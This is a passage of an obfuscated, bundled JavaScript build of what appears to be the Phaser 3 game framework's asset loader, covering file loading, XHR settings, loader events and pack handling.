this['xhrLoader']['onerror'] = void 0x0, this['xhrLoader']['onprogress'] = void 0x0); }, 'load': function () { if (this['state'] === _0x4686b3['FILE_POPULATED']) this['loader']['nextFile'](this, !0x0); else { if (this['state'] = _0x4686b3['FILE_LOADING'], this['src'] = _0x452c3e(this, this['loader']['baseURL']), !this['src']) throw new Error('URL\x20Error\x20in\x20File:\x20' + this['key'] + '\x20from:\x20' + this['url']); 0x0 === this['src']['indexOf']('data:') && (this['base64'] = !0x0), this['xhrLoader'] = _0x41d9fa(this, this['loader']['xhr']); } }, 'onLoad': function (_0x263921, _0x1a982e) { var _0x4cf33c = _0x263921['responseURL'] && this['loader']['localSchemes']['some'](function (_0x4344a1) { return 0x0 === _0x263921['responseURL']['indexOf'](_0x4344a1); }) && 0x0 === _0x1a982e['target']['status'], _0x33eec8 = !(_0x1a982e['target'] && 0xc8 !== _0x1a982e['target']['status']) || _0x4cf33c; 0x4 === _0x263921['readyState'] && _0x263921['status'] >= 0x190 && _0x263921['status'] <= 0x257 && (_0x33eec8 = !0x1), this['state'] = _0x4686b3['FILE_LOADED'], this['resetXHR'](), this['loader']['nextFile'](this, _0x33eec8); }, 'onBase64Load': function (_0x2f9ab1) { this['xhrLoader'] = _0x2f9ab1, this['state'] = _0x4686b3['FILE_LOADED'], this['percentComplete'] = 0x1, this['loader']['emit'](_0xdf4bb5['FILE_PROGRESS'], this, this['percentComplete']), this['loader']['nextFile'](this, !0x0); }, 'onError': function () { this['resetXHR'](), this['retryAttempts'] > 0x0 ? (this['retryAttempts']--, this['load']()) : this['loader']['nextFile'](this, !0x1); }, 'onProgress': function (_0x561a75) { _0x561a75['lengthComputable'] && (this['bytesLoaded'] = _0x561a75['loaded'], this['bytesTotal'] = _0x561a75['total'], this['percentComplete'] = Math['min'](this['bytesLoaded'] / this['bytesTotal'], 0x1), this['loader']['emit'](_0xdf4bb5['FILE_PROGRESS'], this, this['percentComplete'])); }, 'onProcess': function () { this['state'] = _0x4686b3['FILE_PROCESSING'], this['onProcessComplete'](); }, 'onProcessComplete': function () { this['state'] = _0x4686b3['FILE_COMPLETE'], this['multiFile'] && this['multiFile']['onFileComplete'](this), this['loader']['fileProcessComplete'](this); }, 'onProcessError': function () { this['state'] = _0x4686b3['FILE_ERRORED'], this['multiFile'] && this['multiFile']['onFileFailed'](this), this['loader']['fileProcessComplete'](this); }, 'hasCacheConflict': function () { return this['cache'] && this['cache']['exists'](this['key']); }, 'addToCache': function () { this['cache'] && this['data'] && this['cache']['add'](this['key'], this['data']); }, 'pendingDestroy': function (_0x44e2c3) { if (this['state'] !== _0x4686b3['FILE_PENDING_DESTROY']) { void 0x0 === _0x44e2c3 && (_0x44e2c3 = this['data']); var _0x1b3fd6 = this['key'], _0xf5c241 = this['type']; this['loader']['emit'](_0xdf4bb5['FILE_COMPLETE'], _0x1b3fd6, _0xf5c241, _0x44e2c3), this['loader']['emit'](_0xdf4bb5['FILE_KEY_COMPLETE'] + _0xf5c241 + '-' + _0x1b3fd6, _0x1b3fd6, _0xf5c241, _0x44e2c3), this['loader']['flagForRemoval'](this), this['state'] = _0x4686b3['FILE_PENDING_DESTROY']; } }, 'destroy': function () { this['loader'] = null, this['cache'] = null, this['xhrSettings'] = null, this['multiFile'] = null, this['linkFile'] = null, this['data'] = null; } }); _0x511221['createObjectURL'] = function (_0x5bed36, _0x286b08, _0x14fc45) { if ('function' == typeof URL) _0x5bed36['src'] = URL['createObjectURL'](_0x286b08); else { var _0x54bbc5 = new FileReader(); _0x54bbc5['onload'] = function () { _0x5bed36['removeAttribute']('crossOrigin'), _0x5bed36['src'] = 'data:' + (_0x286b08['type'] || _0x14fc45) + ';base64,' + _0x54bbc5['result']['split'](',')[0x1]; }, _0x54bbc5['onerror'] = _0x5bed36['onerror'], _0x54bbc5['readAsDataURL'](_0x286b08); } }, _0x511221['revokeObjectURL'] = function (_0x5adc2c) { 'function' == typeof URL && URL['revokeObjectURL'](_0x5adc2c['src']); }, _0x22db14['exports'] = _0x511221; }, 0x12173: _0x317d80 => { var _0x52384d = {}, _0x490c22 = { 'install': function (_0x203e8a) { for (var _0x3b371a in _0x52384d) _0x203e8a[_0x3b371a] = _0x52384d[_0x3b371a]; }, 'register': function (_0x3ce589, _0x31d087) { _0x52384d[_0x3ce589] = _0x31d087; }, 'destroy': function () { _0x52384d = {}; } }; _0x317d80['exports'] = _0x490c22; }, 0x18034: _0x41b2be => { _0x41b2be['exports'] = function (_0x49ccb8, _0x348b18) { return !!_0x49ccb8['url'] && (_0x49ccb8['url']['match'](/^(?:blob:|data:|capacitor:\/\/|http:\/\/|https:\/\/|\/\/)/) ? _0x49ccb8['url'] : _0x348b18 + _0x49ccb8['url']); }; }, 0x12215: (_0x4988df, _0x5ffdd9, _0x593332) => { var _0xc04d33 = _0x593332(0x145db), _0x2f469c = _0x593332(0x5d62), _0x464d9d = _0x593332(0x8900), _0x536418 = _0x593332(0xc668), _0x3658a3 = _0x593332(0xd673), _0x7c7ecc = _0x593332(0x12173), _0x4e1b54 = _0x593332(0x17534), _0x2d25e4 = _0x593332(0x8952), _0x4c9a7f = _0x593332(0xa0fc), _0x2bcecd = _0x593332(0x919d), _0x3fbacb = _0x593332(0xae32), _0xf647e8 = _0x593332(0x169de), _0x6d0979 = new _0xc04d33({ 'Extends': _0x536418, 'initialize': function (_0x224dc4) { _0x536418['call'](this); var _0x111012 = _0x224dc4['sys']['game']['config'], _0x263373 = _0x224dc4['sys']['settings']['loader']; this['scene'] = _0x224dc4, this['systems'] = _0x224dc4['sys'], this['cacheManager'] = _0x224dc4['sys']['cache'], this['textureManager'] = _0x224dc4['sys']['textures'], this['sceneManager'] = _0x224dc4['sys']['game']['scene'], _0x7c7ecc['install'](this), this['prefix'] = '', this['path'] = '', this['baseURL'] = '', this['setBaseURL'](_0x4e1b54(_0x263373, 'baseURL', _0x111012['loaderBaseURL'])), this['setPath'](_0x4e1b54(_0x263373, 'path', _0x111012['loaderPath'])), this['setPrefix'](_0x4e1b54(_0x263373, 'prefix', _0x111012['loaderPrefix'])), this['maxParallelDownloads'] = _0x4e1b54(_0x263373, 'maxParallelDownloads', _0x111012['loaderMaxParallelDownloads']), this['xhr'] = _0xf647e8(_0x4e1b54(_0x263373, 'responseType', _0x111012['loaderResponseType']), _0x4e1b54(_0x263373, 'async', _0x111012['loaderAsync']), _0x4e1b54(_0x263373, 'user', _0x111012['loaderUser']), _0x4e1b54(_0x263373, 'password', _0x111012['loaderPassword']), _0x4e1b54(_0x263373, 'timeout', _0x111012['loaderTimeout']), _0x4e1b54(_0x263373, 'withCredentials', _0x111012['loaderWithCredentials'])), this['crossOrigin'] = _0x4e1b54(_0x263373, 'crossOrigin', _0x111012['loaderCrossOrigin']), this['imageLoadType'] = _0x4e1b54(_0x263373, 'imageLoadType', _0x111012['loaderImageLoadType']), this['localSchemes'] = _0x4e1b54(_0x263373, 'localScheme', _0x111012['loaderLocalScheme']), this['totalToLoad'] = 0x0, this['progress'] = 0x0, this['list'] = new _0x464d9d(), this['inflight'] = new _0x464d9d(), this['queue'] = new _0x464d9d(), this['_deleteQueue'] = new _0x464d9d(), this['totalFailed'] = 0x0, this['totalComplete'] = 0x0, this['state'] = _0x2f469c['LOADER_IDLE'], this['multiKeyIndex'] = 0x0, this['maxRetries'] = _0x4e1b54(_0x263373, 'maxRetries', _0x111012['loaderMaxRetries']), _0x224dc4['sys']['events']['once'](_0x3fbacb['BOOT'], this['boot'], this), _0x224dc4['sys']['events']['on'](_0x3fbacb['START'], this['pluginStart'], this); }, 'boot': function () { this['systems']['events']['once'](_0x3fbacb['DESTROY'], this['destroy'], this); }, 'pluginStart': function () { this['systems']['events']['once'](_0x3fbacb['SHUTDOWN'], this['shutdown'], this); }, 'setBaseURL': function (_0x409c10) { return void 0x0 === _0x409c10 && (_0x409c10 = ''), '' !== _0x409c10 && '/' !== _0x409c10['substr'](-0x1) && (_0x409c10 = _0x409c10['concat']('/')), this['baseURL'] = _0x409c10, this; }, 'setPath': function (_0x1b07c5) { return void 0x0 === _0x1b07c5 && (_0x1b07c5 = ''), '' !== _0x1b07c5 && '/' !== _0x1b07c5['substr'](-0x1) && (_0x1b07c5 = _0x1b07c5['concat']('/')), this['path'] = _0x1b07c5, this; }, 'setPrefix': function (_0x247fa3) { return void 0x0 === _0x247fa3 && (_0x247fa3 = ''), this['prefix'] = _0x247fa3, this; }, 'setCORS': function (_0x3cb6ec) { return this['crossOrigin'] = _0x3cb6ec, this; }, 'addFile': function (_0x508b33) { Array['isArray'](_0x508b33) || (_0x508b33 = [_0x508b33]); for (var _0x264fb4 = 0x0; _0x264fb4 < _0x508b33['length']; _0x264fb4++) { var _0x55d5c6 = _0x508b33[_0x264fb4]; this['keyExists'](_0x55d5c6) || (this['list']['set'](_0x55d5c6), this['emit'](_0x3658a3['ADD'], _0x55d5c6['key'], _0x55d5c6['type'], this, _0x55d5c6), this['isLoading']() && (this['totalToLoad']++, this['updateProgress']())); } }, 'keyExists': function (_0x4032b7) { var _0x5ddbdb = _0x4032b7['hasCacheConflict'](); return _0x5ddbdb || this['list']['iterate'](function (_0x1dc9ee) { if (_0x1dc9ee['type'] === _0x4032b7['type'] && _0x1dc9ee['key'] === _0x4032b7['key']) return _0x5ddbdb = !0x0, !0x1; }), !_0x5ddbdb && this['isLoading']() && (this['inflight']['iterate'](function (_0x4fa21c) { if (_0x4fa21c['type'] === _0x4032b7['type'] && _0x4fa21c['key'] === _0x4032b7['key']) return _0x5ddbdb = !0x0, !0x1; }), this['queue']['iterate'](function (_0x2a0d5a) { if (_0x2a0d5a['type'] === _0x4032b7['type'] && _0x2a0d5a['key'] === _0x4032b7['key']) return _0x5ddbdb = !0x0, !0x1; })), _0x5ddbdb; }, 'addPack': function (_0x57362a, _0x35c146) { if ('string' == typeof _0x35c146) { var _0x3cfa6d = _0x2d25e4(_0x57362a, _0x35c146); _0x3cfa6d && (_0x57362a = { 'packKey': _0x3cfa6d }); } var _0x9ed793 = 0x0, _0x11587d = this['baseURL'], _0x1272b8 = this['path'], _0x1dc6f1 = this['prefix']; for (var _0x4427f7 in _0x57362a) if (Object['prototype']['hasOwnProperty']['call'](_0x57362a, _0x4427f7)) { var _0x1693f1 = _0x57362a[_0x4427f7], _0x345ba9 = _0x4e1b54(_0x1693f1, 'baseURL', _0x11587d), _0x47e5a9 = _0x4e1b54(_0x1693f1, 'path', _0x1272b8), _0x29cb59 = _0x4e1b54(_0x1693f1, 'prefix', _0x1dc6f1), _0x45c3b1 = _0x4e1b54(_0x1693f1, 'files', null), _0x888d4 = _0x4e1b54(_0x1693f1, 'defaultType', 'void'); if (Array['isArray'](_0x45c3b1)) { this['setBaseURL'](_0x345ba9), this['setPath'](_0x47e5a9), this['setPrefix'](_0x29cb59); for (var _0x4035a0 = 0x0; _0x4035a0 < _0x45c3b1['length']; _0x4035a0++) { var _0x1116bb = _0x45c3b1[_0x4035a0], _0x22ea6e = _0x1116bb['hasOwnProperty']('type') ? _0x1116bb['type'] : _0x888d4; this[_0x22ea6e] && (this[_0x22ea6e](_0x1116bb), _0x9ed793++); } } } return this['setBaseURL'](_0x11587d), this['setPath'](_0x1272b8), this['setPrefix'](_0x1dc6f1), _0x9ed793 > 0x0; }, 'removePack': function (_0x4bc528, _0x467269) { var _0x4f7ab4, _0x38f091 = this['systems']['anims'], _0x4cd900 = this['cacheManager'], _0x20751f = this['textureManager'], _0x400739 = { 'animation': 'json', 'aseprite': 'json', 'audio': 'audio', 'audioSprite': 'audio', 'binary': 'binary', 'bitmapFont': 'bitmapFont', 'css': null, 'glsl': 'shader', 'html': 'html', 'json': 'json', 'obj': 'obj', 'plugin': null, 'scenePlugin': null, 'script': null, 'spine': 'json', 'text': 'text', 'tilemapCSV': 'tilemap', 'tilemapImpact': 'tilemap', 'tilemapTiledJSON': 'tilemap', 'video': 'video', 'xml': 'xml' }; if (_0x4c9a7f(_0x4bc528)) _0x4f7ab4 = _0x4bc528; else { if (!(_0x4f7ab4 = _0x4cd900['json']['get'](_0x4bc528))) return; } for (var _0x1fa9dc in (_0x467269 && (_0x4f7ab4 = { '_': _0x4f7ab4[_0x467269] }), _0x4f7ab4)) { var _0x11efcc = _0x4f7ab4[_0x1fa9dc], _0x21de7f = _0x4e1b54(_0x11efcc, 'prefix', ''), _0x107b43 = _0x4e1b54(_0x11efcc, 'files'), _0x96bc91 = _0x4e1b54(_0x11efcc, 'defaultType'); if (Array['isArray'](_0x107b43)) for (var _0x431c99 = 0x0; _0x431c99 < _0x107b43['length']; _0x431c99++) { var _0x519a8d = _0x107b43[_0x431c99], _0x85da95 = _0x519a8d['hasOwnProperty']('type') ? _0x519a8d['type'] : _0x96bc91; if (_0x85da95) { var _0x1dc49 = _0x21de7f + _0x519a8d['key']; if ('animation' === _0x85da95 && _0x38f091['remove'](_0x1dc49), 'aseprite' !== _0x85da95 && 'atlas' !== _0x85da95 && 'atlasXML' !== _0x85da95 && 'htmlTexture' !== _0x85da95 && 'image' !== _0x85da95 && 'multiatlas' !== _0x85da95 && 'spritesheet' !== _0x85da95 && 'svg' !== _0x85da95 && 'texture' !== _0x85da95 && 'unityAtlas' !== _0x85da95 || (_0x20751f['remove'](_0x1dc49), _0x400739[_0x85da95])) { if ('pack' !== _0x85da95) { if ('spine' === _0x85da95) { var _0x46eef1 = _0x4cd900['custom']['spine']['get'](_0x1dc49); if (!_0x46eef1) continue; var _0x81d290 = void 0x0 === _0x46eef1['prefix'] ? '' : _0x46eef1['prefix']; _0x4cd900['custom']['spine']['remove'](_0x1dc49); var _0x356591 = _0x4cd900['custom']['spineTextures']['get'](_0x1dc49); if (!_0x356591) continue; _0x4cd900['custom']['spineTextures']['remove'](_0x1dc49); for (var _0x7d904c = 0x0; _0x7d904c < _0x356591['pages']['length']; _0x7d904c++) { var _0x1b3ed4 = _0x81d290 + _0x356591['pages'][_0x7d904c]['name'], _0x313589 = _0x1dc49 + ':' + _0x1b3ed4; _0x20751f['exists'](_0x313589) ? _0x20751f['remove'](_0x313589) : _0x20751f['remove'](_0x1b3ed4); } } var _0x356e02 = _0x400739[_0x85da95]; null !== _0x356e02 && _0x356e02 && _0x4cd900[_0x356e02]['remove'](_0x1dc49); } else this['removePack'](_0x1dc49, _0x519a8d['dataKey']); } } } } }, 'isLoading': function () { return this['state'] === _0x2f469c['LOADER_LOADING'] || this['state'] === _0x2f469c['LOADER_PROCESSING']; }, 'isReady': function () { return this['state'] === _0x2f469c['LOADER_IDLE'] || this['state'] === _0x2f469c['LOADER_COMPLETE']; }, 'start': function () { this['isReady']() && (this['progress'] = 0x0, this['totalFailed'] = 0x0, this['totalComplete'] = 0x0, this['totalToLoad'] = this['list']['size'], this['emit'](_0x3658a3['START'], this), 0x0 === this['list']['size'] ? this['loadComplete']() : (this['state'] = _0x2f469c['LOADER_LOADING'], this['inflight']['clear'](), this['queue']['clear'](), this['updateProgress'](), this['checkLoadQueue'](), this['systems']['events']['on'](_0x3fbacb['UPDATE'], this['update'], this))); }, 'updateProgress': function () { this['progress'] = 0x1 - (this['list']['size'] + this['inflight']['size']) / this['totalToLoad'], this['emit'](_0x3658a3['PROGRESS'], this['progress']); }, 'update': function () { this['state'] === _0x2f469c['LOADER_LOADING'] && this['list']['size'] > 0x0 && this['inflight']['size'] < this['maxParallelDownloads'] && this['checkLoadQueue'](); }, 'checkLoadQueue': function () { this['list']['each'](function (_0x3a3882) { if ((_0x3a3882['state'] === _0x2f469c['FILE_POPULATED'] || _0x3a3882['state'] === _0x2f469c['FILE_PENDING'] && this['inflight']['size'] < this['maxParallelDownloads']) && (this['inflight']['set'](_0x3a3882), this['list']['delete'](_0x3a3882), _0x3a3882['crossOrigin'] || (_0x3a3882['crossOrigin'] = this['crossOrigin']), _0x3a3882['load']()), this['inflight']['size'] === this['maxParallelDownloads']) return !0x1; }, this); }, 'nextFile': function (_0x33182f, _0x5630ce) { this['inflight'] && (this['inflight']['delete'](_0x33182f), this['updateProgress'](), _0x5630ce ? (this['totalComplete']++, this['queue']['set'](_0x33182f), this['emit'](_0x3658a3['FILE_LOAD'], _0x33182f), _0x33182f['onProcess']()) : (this['totalFailed']++, this['_deleteQueue']['set'](_0x33182f), this['emit'](_0x3658a3['FILE_LOAD_ERROR'], _0x33182f), this['fileProcessComplete'](_0x33182f))); }, 'fileProcessComplete': function (_0x45fb4b) { this['scene'] && this['systems'] && this['systems']['game'] && !this['systems']['game']['pendingDestroy'] && (_0x45fb4b['state'] === _0x2f469c['FILE_ERRORED'] ? _0x45fb4b['multiFile'] && _0x45fb4b['multiFile']['onFileFailed'](_0x45fb4b) : _0x45fb4b['state'] === _0x2f469c['FILE_COMPLETE'] && (_0x45fb4b['multiFile'] ? _0x45fb4b['multiFile']['isReadyToProcess']() && (_0x45fb4b['multiFile']['addToCache'](), _0x45fb4b['multiFile']['pendingDestroy']()) : (_0x45fb4b['addToCache'](), _0x45fb4b['pendingDestroy']())), this['queue']['delete'](_0x45fb4b), 0x0 === this['list']['size'] && 0x0 === this['inflight']['size'] && 0x0 === this['queue']['size'] && this['loadComplete']()); }, 'loadComplete': function () { this['emit'](_0x3658a3['POST_PROCESS'], this), this['list']['clear'](), this['inflight']['clear'](), this['queue']['clear'](), this['progress'] = 0x1, this['state'] = _0x2f469c['LOADER_COMPLETE'], this['systems']['events']['off'](_0x3fbacb['UPDATE'], this['update'], this), this['_deleteQueue']['iterateLocal']('destroy'), this['_deleteQueue']['clear'](), this['emit'](_0x3658a3['COMPLETE'], this, this['totalComplete'], this['totalFailed']); }, 'flagForRemoval': function (_0x23dddb) { this['_deleteQueue']['set'](_0x23dddb); }, 'saveJSON': function (_0x535eac, _0x316d20) { return this['save'](JSON['stringify'](_0x535eac), _0x316d20); }, 'save': function (_0x3f63b5, _0x20dcea, _0x585292) { void 0x0 === _0x20dcea && (_0x20dcea = 'file.json'), void 0x0 === _0x585292 && (_0x585292 = 'application/json'); var _0x2ef492 = new Blob([_0x3f63b5], { 'type': _0x585292 }), _0x1252c1 = URL['createObjectURL'](_0x2ef492), _0x2ac577 = document['createElement']('a'); return _0x2ac577['download'] = _0x20dcea, _0x2ac577['textContent'] = 'Download\x20' + _0x20dcea, _0x2ac577['href'] = _0x1252c1, _0x2ac577['click'](), this; }, 'reset': function () { this['list']['clear'](), this['inflight']['clear'](), this['queue']['clear'](); var _0x262c57 = this['systems']['game']['config'], _0x5db7f0 = this['systems']['settings']['loader']; this['setBaseURL'](_0x4e1b54(_0x5db7f0, 'baseURL', _0x262c57['loaderBaseURL'])), this['setPath'](_0x4e1b54(_0x5db7f0, 'path', _0x262c57['loaderPath'])), this['setPrefix'](_0x4e1b54(_0x5db7f0, 'prefix', _0x262c57['loaderPrefix'])), this['state'] = _0x2f469c['LOADER_IDLE']; }, 'shutdown': function () { this['reset'](), this['state'] = _0x2f469c['LOADER_SHUTDOWN'], this['removeAllListeners'](), this['systems']['events']['off'](_0x3fbacb['UPDATE'], this['update'], this), this['systems']['events']['off'](_0x3fbacb['SHUTDOWN'], this['shutdown'], this); }, 'destroy': function () { this['shutdown'](), this['state'] = _0x2f469c['LOADER_DESTROYED'], this['systems']['events']['off'](_0x3fbacb['UPDATE'], this['update'], this), this['systems']['events']['off'](_0x3fbacb['START'], this['pluginStart'], this), this['list'] = null, this['inflight'] = null, this['queue'] = null, this['scene'] = null, this['systems'] = null, this['textureManager'] = null, this['cacheManager'] = null, this['sceneManager'] = null; } }); _0x2bcecd['register']('Loader', _0x6d0979, 'load'), _0x4988df['exports'] = _0x6d0979; }, 0xd2e: (_0x3c6d93, _0x1e0171, _0x599222) => { var _0x142d68 = _0x599222(0x135bb), _0x4f85de = _0x599222(0x169de); _0x3c6d93['exports'] = function (_0x1bfe09, _0x5a5e25) { var _0x2c5751 = void 0x0 === _0x1bfe09 ? _0x4f85de() : _0x142d68({}, _0x1bfe09); if (_0x5a5e25) { for (var _0x331b12 in _0x5a5e25) void 0x0 !== _0x5a5e25[_0x331b12] && (_0x2c5751[_0x331b12] = _0x5a5e25[_0x331b12]); } return _0x2c5751; }; }, 0x673e: (_0x2e0932, _0x4a2dc5, _0x2169b6) => { var _0x39f30e = _0x2169b6(0x145db), _0x5ec2d9 = _0x2169b6(0x5d62), _0x21f9b5 = _0x2169b6(0xd673), _0x11fa51 = new _0x39f30e({ 'initialize': function (_0x15ca02, _0x11b08f, _0x1d5eac, _0x4cf0f0) { var _0x38d205 = []; _0x4cf0f0['forEach'](function (_0x4bd1ab) { _0x4bd1ab && _0x38d205['push'](_0x4bd1ab); }), this['loader'] = _0x15ca02, this['type'] = _0x11b08f, this['key'] = _0x1d5eac; var _0x47f020 = this['key']; _0x15ca02['prefix'] && '' !== _0x15ca02['prefix'] && (this['key'] = _0x15ca02['prefix'] + _0x47f020), this['multiKeyIndex'] = _0x15ca02['multiKeyIndex']++, this['files'] = _0x38d205, this['state'] = _0x5ec2d9['FILE_PENDING'], this['complete'] = !0x1, this['pending'] = _0x38d205['length'], this['failed'] = 0x0, this['config'] = {}, this['baseURL'] = _0x15ca02['baseURL'], this['path'] = _0x15ca02['path'], this['prefix'] = _0x15ca02['prefix']; for (var _0x56e03f = 0x0; _0x56e03f < _0x38d205['length']; _0x56e03f++)_0x38d205[_0x56e03f]['multiFile'] = this; }, 'isReadyToProcess': function () { return 0x0 === this['pending'] && 0x0 === this['failed'] && !this['complete']; }, 'addToMultiFile': function (_0x115694) { return this['files']['push'](_0x115694), _0x115694['multiFile'] = this, this['pending']++, this['complete'] = !0x1, this; }, 'onFileComplete': function (_0x59c200) { -0x1 !== this['files']['indexOf'](_0x59c200) && this['pending']--; }, 'onFileFailed': function (_0x2ec2ec) { -0x1 !== this['files']['indexOf'](_0x2ec2ec) && this['failed']++; }, 'pendingDestroy': function () { if (this['state'] !== _0x5ec2d9['FILE_PENDING_DESTROY']) { var _0xe0a1b5 = this['key'], _0x1c1cef = this['type']; this['loader']['emit'](_0x21f9b5['FILE_COMPLETE'], _0xe0a1b5, _0x1c1cef), this['loader']['emit'](_0x21f9b5['FILE_KEY_COMPLETE'] + _0x1c1cef + '-' + _0xe0a1b5, _0xe0a1b5, _0x1c1cef), this['loader']['flagForRemoval'](this); for (var _0x1625f9 = 0x0; _0x1625f9 < this['files']['length']; _0x1625f9++)this['files'][_0x1625f9]['pendingDestroy'](); this['state'] = _0x5ec2d9['FILE_PENDING_DESTROY']; } }, 'destroy': function () { this['loader'] = null, this['files'] = null, this['config'] = null; } }); _0x2e0932['exports'] = _0x11fa51; }, 0x14998: (_0x45c98d, _0x18c205, _0x122024) => { var _0x4cb071 = _0x122024(0xd2e); _0x45c98d['exports'] = function (_0x7d6987, _0x5cda97) { var _0x437929 = _0x4cb071(_0x5cda97, _0x7d6987['xhrSettings']); if (!_0x7d6987['base64']) { var _0x210a39 = new XMLHttpRequest(); if (_0x210a39['open']('GET', _0x7d6987['src'], _0x437929['async'], _0x437929['user'], _0x437929['password']), _0x210a39['responseType'] = _0x7d6987['xhrSettings']['responseType'], _0x210a39['timeout'] = _0x437929['timeout'], _0x437929['headers']) { for (var _0x469f84 in _0x437929['headers']) _0x210a39['setRequestHeader'](_0x469f84, _0x437929['headers'][_0x469f84]); } return _0x437929['header'] && _0x437929['headerValue'] && _0x210a39['setRequestHeader'](_0x437929['header'], _0x437929['headerValue']), _0x437929['requestedWith'] && _0x210a39['setRequestHeader']('X-Requested-With', _0x437929['requestedWith']), _0x437929['overrideMimeType'] && _0x210a39['overrideMimeType'](_0x437929['overrideMimeType']), _0x437929['withCredentials'] && (_0x210a39['withCredentials'] = !0x0), _0x210a39['onload'] = _0x7d6987['onLoad']['bind'](_0x7d6987, _0x210a39), _0x210a39['onerror'] = _0x7d6987['onError']['bind'](_0x7d6987, _0x210a39), _0x210a39['onprogress'] = _0x7d6987['onProgress']['bind'](_0x7d6987), _0x210a39['ontimeout'] = _0x7d6987['onError']['bind'](_0x7d6987, _0x210a39), _0x210a39['send'](), _0x210a39; } var _0xaf7ba6 = _0x7d6987['url']['split'](';base64,')['pop']() || _0x7d6987['url']['split'](',')['pop'](), _0x284f38 = { 'responseText': atob(_0xaf7ba6) }; _0x7d6987['onBase64Load'](_0x284f38); }; }, 0x169de: _0x56ab1f => { _0x56ab1f['exports'] = function (_0x8ed7b1, _0x4d01b8, _0x37ce96, _0x338298, _0x3a1992, _0x1700a1) { return void 0x0 === _0x8ed7b1 && (_0x8ed7b1 = ''), void 0x0 === _0x4d01b8 && (_0x4d01b8 = !0x0), void 0x0 === _0x37ce96 && (_0x37ce96 = ''), void 0x0 === _0x338298 && (_0x338298 = ''), void 0x0 === _0x3a1992 && (_0x3a1992 = 0x0), void 0x0 === _0x1700a1 && (_0x1700a1 = !0x1), { 'responseType': _0x8ed7b1, 'async': _0x4d01b8, 'user': _0x37ce96, 'password': _0x338298, 'timeout': _0x3a1992, 'headers': void 0x0, 'header': void 0x0, 'headerValue': void 0x0, 'requestedWith': !0x1, 'overrideMimeType': void 0x0, 'withCredentials': _0x1700a1 }; }; }, 0x5d62: _0x23195a => { _0x23195a['exports'] = { 'LOADER_IDLE': 0x0, 'LOADER_LOADING': 0x1, 'LOADER_PROCESSING': 0x2, 'LOADER_COMPLETE': 0x3, 'LOADER_SHUTDOWN': 0x4, 'LOADER_DESTROYED': 0x5, 'FILE_PENDING': 0xa, 'FILE_LOADING': 0xb, 'FILE_LOADED': 0xc, 'FILE_FAILED': 0xd, 'FILE_PROCESSING': 0xe, 'FILE_ERRORED': 0x10, 'FILE_COMPLETE': 0x11, 'FILE_DESTROYED': 0x12, 'FILE_POPULATED': 0x13, 'FILE_PENDING_DESTROY': 0x14 }; }, 0xa4ab: _0x2ab185 => { _0x2ab185['exports'] = 'addfile'; }, 0x984f: _0x147aee => { _0x147aee['exports'] = 'complete'; }, 0x6b94: _0x164035 => { _0x164035['exports'] = 'filecomplete'; }, 0x155a8: _0x31fa56 => { _0x31fa56['exports'] = 'filecomplete-'; }, 0x17116: _0x2da4e6 => { _0x2da4e6['exports'] = 'loaderror'; }, 0x32eb: _0x8b09 => { _0x8b09['exports'] = 'load'; }, 0x9500: _0x3a37a9 => { _0x3a37a9['exports'] = 'fileprogress'; }, 0x17cf0: _0x3be025 => { _0x3be025['exports'] = 'postprocess'; }, 0x14e5b: _0x1e4a1c => { _0x1e4a1c['exports'] = 'progress'; }, 0xd980: _0x1c5248 => { _0x1c5248['exports'] = 'start'; }, 0xd673: (_0x2a7e74, _0x3ffb6d, _0x8cafaa) => { _0x2a7e74['exports'] = { 'ADD': _0x8cafaa(0xa4ab), 'COMPLETE': _0x8cafaa(0x984f), 'FILE_COMPLETE': _0x8cafaa(0x6b94), 'FILE_KEY_COMPLETE': _0x8cafaa(0x155a8), 'FILE_LOAD_ERROR': _0x8cafaa(0x17116), 'FILE_LOAD': _0x8cafaa(0x32eb), 'FILE_PROGRESS': _0x8cafaa(0x9500), 'POST_PROCESS': _0x8cafaa(0x17cf0), 'PROGRESS': _0x8cafaa(0x14e5b), 'START': _0x8cafaa(0xd980) }; }, 0x3737: (_0x1dd55e, _0x3b8d85, _0x334add) => { var _0x155f0f = _0x334add(0x145db), _0x14222b = _0x334add(0x12173), _0x50e0e7 = _0x334add(0x206), _0x5ece3e = _0x334add(0xd673), _0x4ced86 = new _0x155f0f({ 'Extends': _0x50e0e7, 'initialize': function (_0x4f203a, _0x4ff786, _0x22e1a9, _0x26c170, _0x3c4e8a) { _0x50e0e7['call'](this, _0x4f203a, _0x4ff786, _0x22e1a9, _0x26c170, _0x3c4e8a), this['type'] = 'animationJSON'; }, 'onProcess': function () { this['loader']['once'](_0x5ece3e['POST_PROCESS'], this['onLoadComplete'], this), _0x50e0e7['prototype']['onProcess']['call'](this); }, 'onLoadComplete': function () { this['loader']['systems']['anims']['fromJSON'](this['data']); } }); _0x14222b['register']('animation', function (_0x4304f0, _0x3b2a8e, _0x4888b8, _0xfad1f1) { if (Array['isArray'](_0x4304f0)) { for (var _0xaa570d = 0x0; _0xaa570d < _0x4304f0['length']; _0xaa570d++)this['addFile'](new _0x4ced86(this, _0x4304f0[_0xaa570d])); } else this['addFile'](new _0x4ced86(this, _0x4304f0, _0x3b2a8e, _0xfad1f1, _0x4888b8)); return this; }), _0x1dd55e['exports'] = _0x4ced86; }, 0x129f0: (_0x1dbc4b, _0x6b0016, _0x58c3e8) => { var _0x11eeb9 = _0x58c3e8(0x145db), _0x2abd69 = _0x58c3e8(0x12173), _0xa935f0 = _0x58c3e8(0x17534), _0x555863 = _0x58c3e8(0x4c5e), _0x19b6b9 = _0x58c3e8(0xa0fc), _0x3fbf2d = _0x58c3e8(0x206), _0xa16792 = _0x58c3e8(0x673e), _0x5d7e15 = new _0x11eeb9({ 'Extends': _0xa16792, 'initialize': function (_0xb2acf4, _0x2b0c93, _0x26b9a7, _0x140c9a, _0x23c557, _0x54bc2f) { var _0x33b5da, _0xa39c3e; if (_0x19b6b9(_0x2b0c93)) { var _0x366edb = _0x2b0c93; _0x2b0c93 = _0xa935f0(_0x366edb, 'key'), _0x33b5da = new _0x555863(_0xb2acf4, { 'key': _0x2b0c93, 'url': _0xa935f0(_0x366edb, 'textureURL'), 'extension': _0xa935f0(_0x366edb, 'textureExtension', 'png'), 'normalMap': _0xa935f0(_0x366edb, 'normalMap'), 'xhrSettings': _0xa935f0(_0x366edb, 'textureXhrSettings') }), _0xa39c3e = new _0x3fbf2d(_0xb2acf4, { 'key': _0x2b0c93, 'url': _0xa935f0(_0x366edb, 'atlasURL'), 'extension': _0xa935f0(_0x366edb, 'atlasExtension', 'json'), 'xhrSettings': _0xa935f0(_0x366edb, 'atlasXhrSettings') }); } else _0x33b5da = new _0x555863(_0xb2acf4, 